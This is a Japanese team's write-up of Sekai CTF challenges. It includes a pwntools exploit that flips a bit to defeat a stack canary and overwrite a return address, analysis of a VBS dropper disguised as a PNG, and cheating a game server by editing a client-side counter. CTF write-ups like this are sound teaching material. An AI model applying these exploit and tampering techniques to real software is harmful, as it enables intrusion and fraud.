先日(8/26-27)に開催されたSekai CTFに参加しました。結果は62nd(in 981 teams)でした。
目次
- [misc] I love this world
- [Forensics] Eval Me
- [Forensics] DEF CON Invitation
- [Pwn] Cosmic Ray
- [Crypto] cryptoGRAPHy 1
- [Crypto] cryptoGRAPHy 2
- [PPC] wiki game
- [PPC] Purple Sheep And The Apple Rush
- [PPC] Mikusweeper
- [Reverse] Azusawa’s Gacha World
write up
[misc] I love this world
Synthesizer Vのファイルが渡されたので、まずは一度再生してみたところ、入力されている歌詞と異なる発音が入力されていたので、頑張って聞き取ろうとしたのですが、いくつか厳しいところがあって詰まってしまいました。(kaitoyama)
ファイルをテキストエディタで開いたところow p ax n k er l iy b r ae k ih tという文字列が見えたので、これたopen curly bracketだろうと当たりをつけ、その後の音素も人力で文字列に戻しました。eyがaを表しているとは思いませんでした...(ramdos)
[Forensics] Eval Me
nc先で、計算問題が出されるので、それに高速に答えるという架空のCTFの問題に答えたのにflagが取得できなかったという設定で、nc先とパケットキャプチャが与えられました。
最初はパケットキャプチャの中に何かあるのかと思い、TLSの復号とか色々調べたのですが、詰まってしまったので、一度ncして問題を解いてみたところ、72/100問目で怪しいsubprocessの文が返ってきたので、それを実行してみたところ、flagをxorしてそれを別のアドレスにpostするみたいなことをやっていました。そこで、改めてパケットキャプチャを見たところ、このpostの履歴があったので、復号することでflagを入手しました。(kaitoyama)
[Forensics] DEF CON Invitation
メールファイルが渡されて、その中のicalの中のリンクに飛ぶと、会場のオフラインの地図をダウンロードするリンクがありました。ただ、.pngと書いてありながら実際の拡張子が.vbsでした。
難読化されている部分いくつかあって、挙動を見た方が早いかなとも思ったのですが、VM建てるのは面倒だったので、Executeあたりから手作業で読んでみることにしました。すると、GETのアドレス先から、defcon-flag.png.xoredというそれっぽいファイルを入手できました。
しかし、XORのキーがわからず悩んでいたところ、なんとなくで最後のPOSTしているところにPOSTを飛ばしてみると、ユーザー名がadminのときにkeyを入手できました。この後しばらく、ハードコーディングされているprivatekeyとどうやって組み合わせるのか悩んだのですが、結局はPOST先で入手したkeyでXORすることで解くことができました。(kaitoyama)
[Pwn] Cosmic Ray
渡された実行ファイルは、メモリ上のどこか1bitだけを変化させることができるようです。また、最後の入力にはバッファオーバーフローの脆弱性が存在していそうです。win関数が存在しているため、リターンアドレスをwin関数のアドレスに書き換えることを目指します。
checksecをしてみます。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
PIEが無効なので実行ファイル自体の1bitを書き換えることが可能そうです。ここでカナリア判定部分のjeをjneに書き換えると、バッファオーバーフローが検知されたときには正常に実行され、検知されていないときに落とされるようになります。これで問題なくリターンアドレスの書き換えが可能になります。
from pwn import *
elf = context.binary = ELF("./cosmicray",checksec=False)
p = elf.process()
p = remote("chals.sekai.team",4077)
jeAddress = b"0x4016f4"
bitNumber = b'7'
ret = 0x4016fc
p.recvuntil(":")
p.sendline(jeAddress)
p.recvuntil(":")
p.sendline(bitNumber)
payload = flat(
b'A'*56,
ret,
elf.sym.win
)
p.sendline(payload)
p.interactive()(soramea)
[Crypto] cryptoGRAPHy 1
keyと何かしらのResponseが与えられているので適切に頂点列を復号したいです。
Responseとして与えられるものがどの操作の結果なのかコードを読んで調べると、GES.computeSPDXのctであることがわかります。
これはutils.SymmetricEncryptの結果なのでkeyで復号できるとわかります。
SPDXはパス(u,v)のuの隣の頂点を返す辞書なので、復号したvalue_bytesから必要な頂点の情報を取り出して、解答すべき頂点列を作ることができます。
(Nzt3)
[Crypto] cryptoGRAPHy 2
暗号化されたグラフの与えられた1頂点(Destination)からの単一始点最短経路パスだけからなる木の次数列を求めたいです。
(u,v)間最短パスを求めるクエリを投げることができます。
各クエリでは最短パスの頂点トークンの列とResponse(暗号化されたパスの頂点番号)列が得られるので、これから元のグラフを復元したいです。
keyが与えられていないのでResponseが復号できません。Responseの暗号化では同一の平文から複数の暗号文が生成されるため、Responseを頂点ラベルとして使うこともできません。
トークンは各(頂点,目的地)ペアについて一意であるため、同一目的地についてはトークンを頂点ラベルとして使ってグラフを作ればグラフが復元できるとわかります。
「与えられた1頂点(Destination)からの単一始点最短経路パスだけからなる木」については、全ての頂点vについて(v,Destination)を聞けば全ての辺を復元して同型な木を作ることができます。
この木の次数列を解答すれば良いです。
(Nzt3)
[PPC] wiki game
幅優先探索を行い、距離が6以下かどうかを調べました。(ramdos)
import queue
T=int(input())
for i in range(T):
n,m=map(int,input().split())
v=[[] for _ in range(n)]
for _ in range(m):
a,b=map(int,input().split())
v[a].append(b)
s,d=map(int,input().split())
dist=[1e9 for _ in range(n)] #10億で埋めておく
q=queue.Queue()
q.put(s)
dist[s]=0 #始点までの距離は0
while not q.empty():
c=q.get()
for x in v[c]:
if dist[x]==1e9: # 未初期化の頂点なら更新
dist[x]=dist[c]+1
q.put(x)
print("YNEOS"[dist[d]>6::2]) #6以下ならYES
[PPC] Purple Sheep And The Apple Rush
最小値を達成するために合理的な行動は、価値が単調減少していくようにチケットを買いながら葉に向かう、というパターンしかありません。
チケットの価値が小さい順に、その頂点が始点である場合の収支の最小値を決めていくようなDPにより、で解くことができます。(kenken)
#include "bits/stdc++.h"
using namespace std;
#define REP(i, n) for(ll i = 0;i < n;i++)
#define ll long long
#define INF (ll)1ll << 60
#define ALL(n) n.begin(),n.end()
#define P pair<ll, ll>
vector<ll> v, g[4100], in, d;
vector<P> s;
ll n, ans = INF;
void dfs(ll a, ll p, ll dep, ll &st){
for (auto& i : g[a]) {
if (i == p) continue;
d[st] = min(d[st], d[i] + dep * v[st] + 1);
dfs(i, a, dep + 1, st);
}
}
int main(){
cin >> n;
v.resize(n); in.resize(n);
d.resize(n, INF);
REP(i, n) cin >> v[i];
REP(i, n - 1){
ll a, b;
cin >> a >> b;
a--; b--;
g[a].push_back(b);
g[b].push_back(a);
in[a]++; in[b]++;
}
REP(i, n){
if(in[i] == 1) d[i] = -v[i];
else s.push_back(P(v[i], i));
}
sort(ALL(s));
REP(i, s.size()){
dfs(s[i].second, -1, 1, s[i].second);
}
REP(i, n){
if (i != 0) cout << " ";
cout << d[i];
}
cout << endl;
}
[PPC] Mikusweeper
ブラウザで動作するMinesweeperを解きたいです。
c1~c6, covered, bombクラスのidから盤面情報を、playeridのcss-styleから位置を取得できました。
この情報から盤面が復元できるので、後はソルバを作ります。
実装が面倒だったので運ゲーになるところを手動でやるようにすると、時間は割とぎりぎりでした。数回の試行でフラグが手に入りました。 (kenken)
code
chrome.action.onClicked.addListener((tab) => {
chrome.scripting.executeScript({
target: { tabId: tab.id },
function: onRun,
});
});
function onRun() {
var solve = () => {
let up_key = new KeyboardEvent("keydown", { key: "ArrowUp" });
let le_key = new KeyboardEvent("keydown", { key: "ArrowLeft" });
let ri_key = new KeyboardEvent("keydown", { key: "ArrowRight" });
let dw_key = new KeyboardEvent("keydown", { key: "ArrowDown" });
var bfs = (nx, ny, tox, toy, mp) => {
let dx = [0, 0, 1, -1], dy = [1, -1, 0, 0];
let q = [];
let dist = new Array(H);
for (let i = 0; i < H; i++) {
dist[i] = new Array(W).fill(-1);
}
q.push([nx, ny]);
dist[nx][ny] = 0;
while (q.length > 0) {
let x = q[0][0], y = q[0][1];
q.shift();
for (let i = 0; i < 4; i++) {
let nx = x + dx[i], ny = y + dy[i];
if (nx < 0 || nx >= H || ny < 0 || ny >= W) continue;
if (dist[nx][ny] != -1 || mp[nx][ny] == 'x' || mp[nx][ny] == 'B') continue;
dist[nx][ny] = dist[x][y] + 1;
q.push([nx, ny]);
}
}
if (dist[tox][toy] == -1) return -1;
let path = [];
let nex = tox, ney = toy;
while (dist[nex][ney] > 0) {
for (let i = 0; i < 4; i++) {
let nx = nex + dx[i], ny = ney + dy[i];
if (nx < 0 || nx >= H || ny < 0 || ny >= W) continue;
if (dist[nx][ny] == dist[nex][ney] - 1) {
path.push(i);
nex = nx, ney = ny;
break;
}
}
}
path.reverse();
for (let i = 0; i < path.length; i++) {
if (path[i] == 0) document.dispatchEvent(le_key);
if (path[i] == 1) document.dispatchEvent(ri_key);
if (path[i] == 2) document.dispatchEvent(up_key);
if (path[i] == 3) document.dispatchEvent(dw_key);
}
return 0;
}
let H = 30, W = 50;
let nx, ny;
let cmap = new Array(H);
let golist = [];
for (let i = 0; i < H; i++) {
cmap[i] = new Array(W).fill('x');
}
let lic = new Array(7);
for (let i = 0; i <= 6; i++) {
lic[i] = document.getElementsByClassName(`c${i}`);
for (let j = 0; j < lic[i].length; j++) {
let s = lic[i][j].id.slice(5);
let x = parseInt(s.split('-')[0]), y = parseInt(s.split('-')[1]);
cmap[x][y] = `${i}`;
}
}
let keys = document.getElementsByClassName(`key`);
for (let j = 0; j < keys.length; j++) {
let s = keys[j].id.slice(5);
let x = parseInt(s.split('-')[0]), y = parseInt(s.split('-')[1]);
cmap[x][y] = `K`;
}
let bombs = document.getElementsByClassName(`bomb`);
for (let j = 0; j < bombs.length; j++) {
let s = bombs[j].id.slice(5);
let x = parseInt(s.split('-')[0]), y = parseInt(s.split('-')[1]);
cmap[x][y] = `B`;
}
let playertex = document.getElementById(`player`).style.cssText.split("* ");
ny = parseInt(playertex[1].slice(0, playertex[1].length - 25))
nx = parseInt(playertex[2].slice(0, playertex[2].length - 3))
console.log("a", nx, ny, keys.length);
for (let i = 0; i < keys.length; i++) {
let s = keys[i].id.slice(5);
let x = parseInt(s.split('-')[0]), y = parseInt(s.split('-')[1]);
golist.push([x, y]);
}
let nowmap = cmap;
for (let i = 0; i < H; i++) {
for (let j = 0; j < W; j++) {
for (let k = 1; k <= 6; k++) {
if (nowmap[i][j] == `${k}`) {
let count = 0;
for (let vx = -1; vx <= 1; vx++) {
for (let vy = -1; vy <= 1; vy++) {
if (vx == 0 && vy == 0) continue;
if (i + vx < 0 || i + vx >= H || j + vy < 0 || j + vy >= W) continue;
if (nowmap[i + vx][j + vy] == 'x' || nowmap[i + vx][j + vy] == 'B') count++;
}
}
if (count == k) {
for (let vx = -1; vx <= 1; vx++) {
for (let vy = -1; vy <= 1; vy++) {
if (vx == 0 && vy == 0) continue;
if (i + vx < 0 || i + vx >= H || j + vy < 0 || j + vy >= W) continue;
if (nowmap[i + vx][j + vy] == 'x') nowmap[i + vx][j + vy] = 'B';
}
}
}
}
}
}
}
for (let i = 0; i < H; i++) {
for (let j = 0; j < W; j++) {
if (nowmap[i][j] == 'B') {
for (let vx = -1; vx <= 1; vx++) {
for (let vy = -1; vy <= 1; vy++) {
if (vx == 0 && vy == 0) continue;
if (i + vx < 0 || i + vx >= H || j + vy < 0 || j + vy >= W) continue;
for (let k = 1; k <= 6; k++) {
if (nowmap[i + vx][j + vy] == `${k}`) nowmap[i + vx][j + vy] = `${k - 1}`;
}
}
}
}
}
}
for (let i = 0; i < H; i++) {
for (let j = 0; j < W; j++) {
if (nowmap[i][j] == '0') {
for (let vx = -1; vx <= 1; vx++) {
for (let vy = -1; vy <= 1; vy++) {
if (vx == 0 && vy == 0) continue;
if (i + vx < 0 || i + vx >= H || j + vy < 0 || j + vy >= W) continue;
if (nowmap[i + vx][j + vy] == 'x') {
let nok = false;
let dx = [0, 0, 1, -1], dy = [1, -1, 0, 0];
for (let k = 0; k < 4; k++) {
let nx = i + vx + dx[k], ny = j + vy + dy[k];
if (nx < 0 || nx >= H || ny < 0 || ny >= W) continue;
if (cmap[nx][ny] != 'x' && cmap[nx][ny] != 'B') nok = true;
}
if (nok) nowmap[i + vx][j + vy] = 'g';
}
}
}
}
}
}
var bfs2 = (nnx, nny) => {
let dx = [0, 0, 1, -1], dy = [1, -1, 0, 0];
let q = [];
let dist = new Array(H);
for (let i = 0; i < H; i++) {
dist[i] = new Array(W).fill(-1);
}
q.push([nnx, nny]);
dist[nnx][nny] = 0;
while (q.length > 0) {
let x = q[0][0], y = q[0][1];
q.shift();
if (nowmap[x][y] == 'g') {
golist.push([x, y]);
}
for (let i = 0; i < 4; i++) {
let nwx = x + dx[i], nwy = y + dy[i];
if (nwx < 0 || nwx >= H || nwy < 0 || nwy >= W) continue;
if (dist[nwx][nwy] != -1 || nowmap[nwx][nwy] == 'x' || nowmap[nwx][nwy] == 'B') continue;
dist[nwx][nwy] = dist[x][y] + 1;
q.push([nwx, nwy]);
}
}
}
bfs2(nx, ny);
golist.sort((a, b) => {
return a[0] * 10000 + b[0];
});
for (let i = 0; i < golist.length; i++) {
let res = bfs(nx, ny, golist[i][0], golist[i][1], nowmap);
if (res == 0) {
nx = golist[i][0], ny = golist[i][1];
}
}
}
solve();
}
[Reverse] Azusawa’s Gacha World
Unityで作られたゲームが渡されます。
ガチャで☆4を引きたいですが、出現確率が0%で、100万回で天井となり確定排出されるようです。
dnSpyを用いてManaged/Assembly-CSharp.dllのソースコードを見てみます。
ガチャはサーバー側で抽選されるので確率はいじれないようです。
1000000連ガチャを引くリクエストをすると、不正な操作と言われました。
しばらく見ていると、this.gameState.pullsで累計抽選回数を持っていそうだと分かります。
SendGachaRequestメソッドでサーバーにthis.gameState.pullsを渡しているので、ここで天井を管理していると予想します。
this.gameState.pulls = 999999にしてガチャを回すとFlagを入手できました。 (kenken)
